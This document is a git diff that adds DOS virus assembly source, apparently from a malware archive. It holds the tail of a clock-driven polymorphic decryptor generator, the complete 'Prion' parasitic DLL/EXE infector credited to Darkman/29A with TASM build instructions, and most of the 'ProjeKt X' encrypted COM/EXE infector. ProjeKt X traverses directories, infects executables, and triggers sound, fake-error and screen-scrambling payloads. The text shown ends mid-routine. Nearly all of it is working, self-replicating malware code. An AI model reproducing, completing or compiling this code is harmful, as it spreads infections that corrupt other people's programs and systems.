cmp dh,1Eh ; if seconds = 1eh + jb loc_32 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_31 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_30 ; Jump if below + + call write_31h_0d7h + call write_45h + + jmp short loc_35 +loc_30: + call write_31h_0edh + call write_45h + jmp short loc_35 +loc_31: + call write_83h_0c7h_DL + jmp short loc_35 +loc_32: + call write_0bfh_BL_0bfh + jmp short loc_35 +loc_33: + call write_31h_0d5h + call write_4fh + jmp short loc_35 +loc_34: + call write_4fh + call write_4fh + call write_47h +loc_35: + mov di,125h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_40 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_39 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_38 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_37 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_36 ; Jump if below + + call write_31h_0cfh + call write_31h_0c7h + + jmp short loc_41 +loc_36: + call write_45h + call write_31h_0ddh + call write_4fh + jmp short loc_41 +loc_37: + call write_31h_0ffh + call write_31h_0c5h + jmp short loc_41 +loc_38: + call write_83h_0c7h_DL + call write_47h + jmp short loc_41 +loc_39: + call write_83h_0c7h_DL + call write_4fh + jmp short loc_41 +loc_40: + call write_31h_0ffh + call write_0ebh_0 +loc_41: + mov di,129h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_46 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_45 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_44 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_43 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_42 ; Jump if below + + call write_45h + call write_31h_0edh + + jmp short loc_47 +loc_42: + call write_9h_0ffh + call write_4fh + jmp short loc_47 +loc_43: + call write_21h_0efh + call write_45h + jmp short loc_47 +loc_44: + call write_29h_0efh + call write_47h + jmp short loc_47 +loc_45: + call write_0bfh_BL_0bfh + jmp short loc_47 +loc_46: + call write_83h_0c7h_DL +loc_47: + mov di,12Eh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_52 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_51 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_50 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_49 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_48 ; Jump if below + + call write_31h_0cfh + + jmp short loc_53 +loc_48: + call write_47h + call write_4fh + jmp short loc_53 +loc_49: + call write_31h_0c5h + jmp short loc_53 +loc_50: + call write_29h_0f7h + jmp short loc_53 +loc_51: + call write_83h_0c7h_DL + jmp short loc_53 +loc_52: + call write_0ebh_0 +loc_53: + mov di,131h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_58 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_57 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_56 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_55 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_54 ; Jump if below + + call write_29h_0cfh + + jmp short loc_59 +loc_54: + call write_47h + call write_4fh + jmp short loc_59 +loc_55: + call write_31h_0f5h + jmp short loc_59 +loc_56: + call write_45h + call write_4fh + jmp short loc_59 +loc_57: + call write_9h_0efh + jmp short loc_59 +loc_58: + call write_0ebh_0 + call write_47h +loc_59: + mov di,137h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_64 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_63 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_62 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_61 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_60 ; Jump if below + + call write_31h_0c7h + call write_31h_0dfh + + jmp short loc_65 +loc_60: + call write_81h_0efh + jmp short loc_65 +loc_61: + call write_9h_0ffh + call write_21h_0efh + jmp short loc_65 +loc_62: + call write_83h_0c7h_DL + call write_47h + jmp short loc_65 +loc_63: + call write_31h_0f7h + call write_21h_0efh + jmp short loc_65 +loc_64: + call write_0ebh_0 + call write_0ebh_0 +loc_65: + mov di,13Fh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_70 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_69 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_68 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_67 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_66 ; Jump if below + + call write_31h_0d7h + call write_29h_0f7h + + jmp short loc_71 +loc_66: + call write_9h_0efh + call write_47h + call write_47h + jmp short loc_71 +loc_67: + call write_31h_0f7h + call write_31h_0edh + jmp short loc_71 +loc_68: + call write_83h_0c7h_DL + call write_4fh + jmp short loc_71 +loc_69: + call write_31h_0ffh + call write_31h_0ffh + jmp short loc_71 +loc_70: + call write_31h_0f7h + call write_0ebh_0 +loc_71: + mov di,147h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_76 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_75 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_74 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_73 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_72 ; Jump if below + + call write_31h_0c7h + + jmp short loc_77 +loc_72: + call write_4fh + call write_4fh + jmp short loc_77 +loc_73: + call write_21h_0efh + jmp short loc_77 +loc_74: + call write_9h_0efh + jmp short loc_77 +loc_75: + call write_45h + call write_4dh + jmp short loc_77 +loc_76: + call write_0ebh_0 +loc_77: + mov di,14Dh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_82 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_81 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_80 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_79 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_78 ; Jump if below + + call write_31h_0f7h + call write_47h + + jmp short loc_83 +loc_78: + call write_31h_0ddh + call write_4fh + jmp short loc_83 +loc_79: + call write_31h_0f7h + call write_47h + jmp short loc_83 +loc_80: + call write_83h_0c7h_DL + jmp short loc_83 +loc_81: + call write_0bfh_BL_0bfh + jmp short loc_83 +loc_82: + call write_47h + call write_0ebh_0 +loc_83: + mov di,102h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_88 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_87 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_86 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_85 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_84 ; Jump if below + + call write_31h_0c7h + call write_31h_0cfh + + jmp short loc_89 +loc_84: + call write_31h_0ddh + call write_45h + call write_4fh + jmp short loc_89 +loc_85: + call write_31h_0f7h + call write_31h_0edh + jmp short loc_89 +loc_86: + call write_8dh_3eh_BL_BH + jmp short loc_89 +loc_87: + call write_83h_0c7h_DL + call write_47h + jmp short loc_89 +loc_88: + call write_0ebh_0 + call write_31h_0ffh +loc_89: + mov di,109h + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_94 ;Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_93 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_92 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_91 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_90 ; Jump if below + + call write_0ebh_0 + call write_47h + + jmp short loc_ret_95 +loc_90: + call write_0ebh_0 + call write_4fh + jmp short loc_ret_95 +loc_91: + call write_47h + call write_47h + call write_45h + jmp short loc_ret_95 +loc_92: + call write_83h_0c7h_DL + jmp short loc_ret_95 +loc_93: + call write_47h + call write_31h_0ffh + jmp short loc_ret_95 +loc_94: + call write_0ebh_0 + call write_47h + +loc_ret_95: + retn +crypt endp + + + +get_time proc near + mov ah,2Ch ; get system time + int 21h + + retn +get_time endp + + +write_31h_0c5h proc near + mov al,31h + stosb ; Store al to es:[di] + mov al,0C5h + stosb ; Store al to es:[di] + retn +write_31h_0c5h endp + + +write_31h_0ddh proc near + mov al,31h + stosb ; Store al to es:[di] + mov al,0DDh + stosb ; Store al to es:[di] + retn +write_31h_0ddh endp + + mov al,31h + stosb ; Store al to es:[di] + mov al,0CDh + stosb ; Store al to es:[di] + retn + + +write_31h_0d5h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0D5h + stosb ; Store al to es:[di] + retn +write_31h_0d5h endp + + + +write_31h_0f5h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0F5h + stosb ; Store al to es:[di] + retn +write_31h_0f5h endp + + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0FDh + stosb ; Store al to es:[di] + retn + + +write_31h_0edh proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0EDh + stosb ; Store al to es:[di] + retn +write_31h_0edh endp + + +write_31h_0c7h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0C7h + stosb ; Store al to es:[di] + retn +write_31h_0c7h endp + + +write_31h_0dfh proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0DFh + stosb ; Store al to es:[di] + retn +write_31h_0dfh endp + + +write_31h_0cfh proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0CFh + stosb ; Store al to es:[di] + retn +write_31h_0cfh endp + + +write_31h_0d7h proc near + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0D7h + stosb ; Store al to es:[di] + retn +write_31h_0d7h endp + + mov al,31h ; '1' + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn + +write_31h_0f7h proc near + mov al,31h + stosb ; tore al to es:[di] + mov al,0F7h + stosb ; tore al to es:[di] + retn +write_31h_0f7h endp + + +write_31h_0ffh proc near + mov al,31h + stosb ; tore al to es:[di] + mov al,0FFh + stosb ; tore al to es:[di] + retn +write_31h_0ffh endp + + + +write_45h proc near + mov al,45h ; 'E' + stosb ; Store al to es:[di] + retn +write_45h endp + + +write_4dh proc near + mov al,4Dh ; 'M' + stosb ; Store al to es:[di] + retn +write_4dh endp + +write_47h proc near + mov al,47h ; 'G' + stosb ; Store al to es:[di] + retn +write_47h endp + + +write_4fh proc near + mov al,4Fh ; 'O' + stosb ; Store al to es:[di] + retn +write_4fh endp + + +write_0bfh_BL_0bfh proc near + mov al,0BFh + stosb ; Store al to es:[di] + mov al,bl + stosb ; Store al to es:[di] + mov al,al + stosb ; Store al to es:[di] + retn +write_0bfh_BL_0bfh endp + +write_8dh_3eh_BL_BH proc near + mov al,8Dh + stosb ; Store al to es:[di] + mov al,3Eh ; '>' + stosb ; Store al to es:[di] + mov al,bl + stosb ; Store al to es:[di] + mov al,bh + stosb ; Store al to es:[di] + retn +write_8dh_3eh_BL_BH endp + +write_83h_0c7h_DL proc near + mov al,83h + stosb ; Store al to es:[di] + mov al,0C7h + stosb ; Store al to es:[di] + mov al,dl + stosb ; Store al to es:[di] + retn +write_83h_0c7h_DL endp + + +write_0ebh_0 proc near + mov al,0EBh + stosb ; Store al to es:[di] + mov al,0 + stosb ; Store al to es:[di] + retn +write_0ebh_0 endp + + +write_9h_0ffh proc near + mov al,9 + stosb ; Store al to es:[di] + mov al,0FFh + stosb ; Store al to es:[di] + retn +write_9h_0ffh endp + +write_9h_0efh proc near + mov al,9 + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_9h_0efh endp + + +write_21h_0efh proc near + mov al,21h ; '!' + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_21h_0efh endp + +write_81h_0efh proc near + mov al,81h + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_81h_0efh endp + + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0C7h + stosb ; Store al to es:[di] + retn + +write_29h_0cfh proc near + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0CFh + stosb ; Store al to es:[di] + retn +write_29h_0cfh endp + + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0D7h + stosb ; Store al to es:[di] + retn + +write_29h_0f7h proc near + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0F7h + stosb ; Store al to es:[di] + retn +write_29h_0f7h endp + + +write_29h_0efh proc near + mov al,29h ; ')' + stosb ; Store al to es:[di] + mov al,0EFh + stosb ; Store al to es:[di] + retn +write_29h_0efh endp + +vend equ $ + +seg_a ends + end start diff --git a/p/PRION.ASM b/p/PRION.ASM new file mode 100755 index 0000000..4b2d23d --- /dev/null +++ b/p/PRION.ASM @@ -0,0 +1,216 @@ +comment * + Prion + Code by + Darkman/29A + + + + Prion is a 313 bytes parasitic direct action new executable DLL/EXE virus. + Infects every file in current directory, when executed, by searching for an + area, the size of the virus, of constant bytes and overwrites the area with + the virus. Prion has an error handler. + + I would like to thank Grog for the idea to this virus and Heuristic/29A for + helping me finish it. + + To compile Prion with Turbo Assembler v 4.0 type: + TASM /M PRION.ASM + TLINK /x PRION.OBJ + EXE2BIN PRION.EXE PRION.COM +* + +.model tiny +.code + +code_begin: + call delta_offset +delta_offset: + pop bp ; Load BP from stack + sub bp,(offset delta_offset-code_begin) + + cli ; Clear interrupt-enable flag + push cs ; Save CS at stack + pop ss ; Load SS from stack (CS) + + mov sp,bp ; SP = delta offset + and sp,1111111111111110b + sti ; Set interrupt-enable flag + + push ax ; Save AX at stack + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + mov ax,2524h ; Set interrupt vector 24h + lea dx,[bp+int24_virus] ; DX = offset of int24_virus + int 21h + + mov ah,1ah ; Set disk transfer area ddress + lea dx,[bp+dta] ; DX = offset of dta + int 21h + + mov ah,4eh ; Find first matching file + mov cl,00100111b ; CL = file attribute mask + lea dx,[bp+file_specifi] +find_next: + int 21h + jnc infect_file ; No error? Jump to infect_file + + pop ax ; Load AX from stack + int 21h +infect_file: + mov ax,3d00h ; Open file (read) + lea dx,[bp+filename] ; DX = offset of filename + int 21h + xchg ax,bx ; BX = file handle + jc close_file ; Error? Jump to close_file + + mov ax,1220h ; Get system file table number + int 2fh + + push bx ; Save BX at stack + mov ax,1216h ; Get address of system FCB + mov bl,es:[di] ; BL = system file table entry + int 2fh + pop bx ; Load BX from stack + + mov byte ptr es:[di+02h],02h + + mov ax,es:[di+28h] ; AX = extension of the file + mov cl,es:[di+2ah] ; CL = " " " " + + cmp ax,'LD' ; DLL executable? + jne test_exe ; Not equal? Jump to test_exe + cmp cl,'L' ; DLL executable? + je read_header ; Equal? Jump to read_header +test_exe: + cmp ax,'XE' ; EXE executable? + jne close_file ; Not equal? Jump to close_file + cmp cl,'E' ; EXE executable? + jne close_file ; Not equal? Jump to close_file +read_header: + mov ah,3fh ; Read from file + mov cx,40h ; Read sixty-four bytes + lea dx,[bp+file_header] ; DX = offset of file_header + int 21h + + mov si,dx ; SI = offset of file_header + mov ax,[si] ; AX = EXE signature + + xor ax,'MZ' ; Found EXE signature? + jz test_new_exe ; Zero? Jump to test_new_exe + xor ax,('ZM' xor 'MZ') ; Found EXE signature? + jnz close_file ; Not zero? Jump to close_file +test_new_exe: + cmp [si+18h],cl ; New executable? + jae test_stack ; Above or equal? Jump to test_stack +close_file: + mov ah,3eh ; Close file + int 21h + + mov ah,4fh ; Find next matching file + jmp find_next +test_stack: + mov ax,10h ; Multiply initial SS relative to ... + mul word ptr [si+0eh] ; DX:AX = initial SS relative to s... + add ax,[si+10h] ; DX:AX = pointer to the stack + adc dx,00h ; " " " " " " + jnz test_stack_ ; Not zero? Jump to test_stack_ + + or ax,ax ; No stack? + jz calc_header ; Zero? Jump to calc_header +test_stack_: + cmp ax,[si+3ch] ; Stack placed in new executable ...? + jb close_file ; Below? Jump to close_file + cmp dx,[si+3eh] ; Stack placed in new executable ...? + jb close_file ; Below? Jump to close_file +calc_header: + mov ax,10h ; Multiply header size in paragrap... + mul word ptr [si+08h] ; DX:AX = header size + + mov es:[di+15h],ax ; Move file pointer to end of header + mov es:[di+17h],dx ; " " " " " " " + + sub ax,[si+3ch] ; DX:AX = pointer to end of header + sbb dx,[si+3eh] ; " " " " " " " + + neg dx ; Negate DX + dec dx ; Decrease DX + jnz close_file ; Not zero? Jump to close_file + + lea dx,[bp+file_buffer] ; DX = offset of file_buffer + cmp ax,dx ; DOS stub too large? + jbe close_file ; Below or equal? Jump to close_fi... + + neg ax ; Negate AX + push ax ; Save AX at stack + xchg cx,ax ; CX = bytes to read from file + + mov ah,3fh ; Read from file + int 21h + + std ; Set direction flag + dec cx ; Decrease CX + mov si,dx ; SI = offset of file_buffer + add si,cx ; SI = offset of end of file_buffer + lodsb ; AL = first byte of file_buffer + xchg ax,dx ; DL = " " " " +search_const: + lodsb ; AL = byte of file_buffer + cmp al,dl ; Equal to first byte of file_buffer? + jne test_opcode ; Not equal? Jump to test_opcode + + loop search_const + + pop ax ; Load AX from stack +close_file_: + jmp close_file +test_opcode: + pop ax ; Load AX from stack + + cmp [si],0010000111001101b + jne close_file ; INT 21h (opcode 0cdh,21h)? Jump ... + + dec cx ; Decrease CX + dec cx ; " " + sub ax,cx ; AX = offset of virus within file + + mov cx,(code_end-code_begin) + cmp ax,cx ; Enough constant bytes in file? + jb close_file ; Below? Jump to close_file + + sub es:[di+15h],ax ; Move file pointer to offset of v... + sbb word ptr es:[di+17h],00h + + mov ah,40h ; Write to file + mov dx,bp ; DX = delta offset + int 21h + + mov ax,5701h ; Set file's date and time + mov cx,[bp+file_time] ; CX = file's time + mov dx,[bp+file_date] ; DX = file's date + int 21h + + jmp close_file_ + +int24_virus proc near ; Interrupt 24h of Prion + mov al,03h ; Fail system call in progress + + iret ; Interrupt return! + endp + +file_specifi db '*.*',00h ; File specification +virus_name db '[Prion] ' ; Name of the virus +virus_author db '[Darkman/29A] ' ; Author of the virus +code_end: +dta: + db 15h dup(?) ; Used by DOS for find next-process +file_attr db ? ; File attribute +file_time dw ? ; File time +file_date dw ? ; File date +filesize dd ? ; Filesize +filename db 0dh dup(?) ; Filename +file_buffer: +file_header db 40h dup(?) ; File header + +end code_begin diff --git a/p/PROJEKTX.ASM b/p/PROJEKTX.ASM new file mode 100755 index 0000000..b5d66e0 --- /dev/null +++ b/p/PROJEKTX.ASM @@ -0,0 +1,519 @@ +; PROJEKTX.ASM : ProjeKt X + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'AI' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov bp,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + dec bp ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],3 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + call get_second + cmp ax,0032h ; Did the function return 50? + jl skip00 ; If less, skip effect + jmp short activate_one ; Success -- skip jump + +skip00: + call get_hour + cmp ax,0017h ; Did the function return 23? + jne skip01 ; If not equal, skip effect + call get_weekday + cmp ax,0003h ; Did the function return 3? + jne skip01 ; If not equal, skip effect + jmp activate_two ; Success -- skip jump + +skip01: jmp exit_virus + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate_one: ; Conditions satisfied + mov cx,0003h ; First argument is 3 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + jmp go_now + +go_now: + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the + ; screen, too. + mov ax,1112h ; We are gunna use the 8*8 internal + ; font, man. + int 10h ; Hey man, call the interrupt. + mov ah,09h ; Use DOS to print fake error + ; message + mov dx,offset fake_msg + int 21h + mov ah,4ch ; Lets ditch. + int 21h ; "Make it so." + jmp exit_virus + +activate_two: ; First, get current video mode and page. + mov cx,0B800h ;color display, color video mem for page 1 + mov ah,15 ;Get current video mode + int 10h + cmp al,2 ;Color? + je A2 ;Yes + cmp al,3 ;Color? + je A2 ;Yes + cmp al,7 ;Mono? + je A1 ;Yes + int 20h ;No,quit + + ;here if 80 col text mode; put video segment in ds. +A1: mov cx,0A300h ;Set for mono; mono videomem for page 1 +A2: mov bl,0 ;bx=page offset + add cx,bx ;Video segment + mov ds,cx ;in ds + + ;start dropsy effect + xor bx,bx ;Start at top left corner +A3: push bx ;Save row start on stack + mov bp,80 ;Reset column counter + ;Do next column in a row. +A4: mov si,bx ;Set row top in si + mov ax,[si] ;Get char & attr from screen + cmp al,20h ;Is it a blank? + je A7 ;Yes, skip it + mov dx,ax ;No, save it in dx + mov al,20h ;Make it a space + mov [si],ax ;and put on screen + add si,160 ;Set for next row + mov di,cs:Row ;Get rows remaining +A5: mov ax,[si] ;Get the char & attr from screen + mov [si],dx ;Put top row char & attr there +A6: call Vert ;Wait for 2 vert retraces + mov [si],ax ;Put original char & attr back + ;Do next row, this column. + add si,160 ;Next row + dec di ;Done all rows remaining? + jne A5 ;No, do next one + mov [si-160],dx ;Put char & attr on line 25 as junk + ;Do next column on this row. +A7: add bx,2 ;Next column, same row + dec bp ;Dec column counter; done? + jne A4 ;No, do this column +;Do next row. +A8: pop bx ;Get current row start + add bx,160 ;Next row + dec cs:Row ;All rows done? + jne A3 ;No +A9: mov ax,4C00h + int 21h ;Yes, quit to DOS with error code + + ;routine to deal with snow on CGA screen. +Vert: push ax + push dx + push cx ;Save all registers used + mov cl,2 ;Wait for 2 vert retraces + mov dx,3DAh ;CRT status port +F1: in al,dx ;Read status + test al,8 ;Vert retrace went hi? + je F1 ;No, wait for it + dec cl ;2nd one? + je F3 ;Yes, write during blanking time +F2: in al,dx ;No, get status + test al,8 ;Vert retrace went low? + jne F2 ;No, wait for it + jmp F1 ;Yes, wait for next hi +F3: pop cx + pop dx + pop ax ;Restore registers + ret + jmp exit_virus + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +get_minute proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,cl ; Copy minute into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_minute endp + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + +note db '[ProjeKt X]',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,3230 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx 